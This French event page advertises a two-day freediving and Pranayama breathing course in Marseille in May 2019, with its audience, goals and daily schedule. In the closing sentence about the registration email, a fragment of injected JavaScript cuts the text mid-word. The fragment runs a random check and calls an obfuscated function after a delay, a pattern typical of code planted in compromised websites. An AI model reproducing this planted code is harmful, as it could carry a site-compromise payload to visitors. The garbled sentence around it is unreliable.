Stage Apnée confirmé Pranayama à Marseille Pointe Rouge Mai 2019

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Date/heure
Date(s) - 18/05/2019 - 19/05/2019
7:45 am - 5:30 pm

Emplacement
Dune - Marseille Pointe Rouge

Catégories


 

Public :
Ce stage s’adresse aux apnéistes ou chasseurs sous marins déjà pratiquants cherchant à développer leurs capacités respiratoires, leur technique et leur relâchement en profondeur. Le stage est dimensionné pour un public pratiquant et à l’aise dans l’eau.

Durée du stage :

2 jours

Objectif du stage :

Adresser vos problématiques personnelles en apnée, que ce soit la compensation des oreilles, Frenzel, ou bien le palmage. Dans tous les cas, nous prendrons le temps nécessaire pour appréhender les différentes techniques à la pratique de l’apnée en sécurité et dans le plaisir.

Découvrir le Pranayama traditionnel, science du souffle en Inde et appréhender ces exercices dans une approche apnéique.
Le stage est articulé autour de 3 axes :

Apnée, Pranayama, compensation des oreilles.

Repas du midi :

Vous pouvez les apportez vous même ou il y a quelques brasseries à proximité du centre.

A prévoir (obligatoire) :

Un certificat médical de non contre indication à la pratique de l’apnée.

Déroulement type du stage (dépend des conditions météo) :

Samedi matin:

  • Rdv 7h45 au centre d’apnée
  • Briefing et explication des attentes de chacun
  • Séance de Pranayama (technique de respiration)
  • Sortie apnée en mer individualisée

Samedi après-midi:

  • Cours de compensation à sec
  • Sortie apnée en mer individualisée
  • 17h30 fin de journée

Dimanche matin:

  • Rdv 7h45 au centre d’apnée
  • Séance de Pranayama (technique de respiration)
  • Sortie apnée en mer individualisée

Dimanche après-midi:

  • Cours théorie du Pranayama
  • Sortie apnée en mer individualisée
  • Débriefing de fin de stage
  • 17h30 fin de journée

Suite à votre inscription vous recevrez un mail vous demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andant de remplir un formulaire plus détaillé pour mieux vous connaitre.

Réservations

Les réservations sont closes pour cet évènement.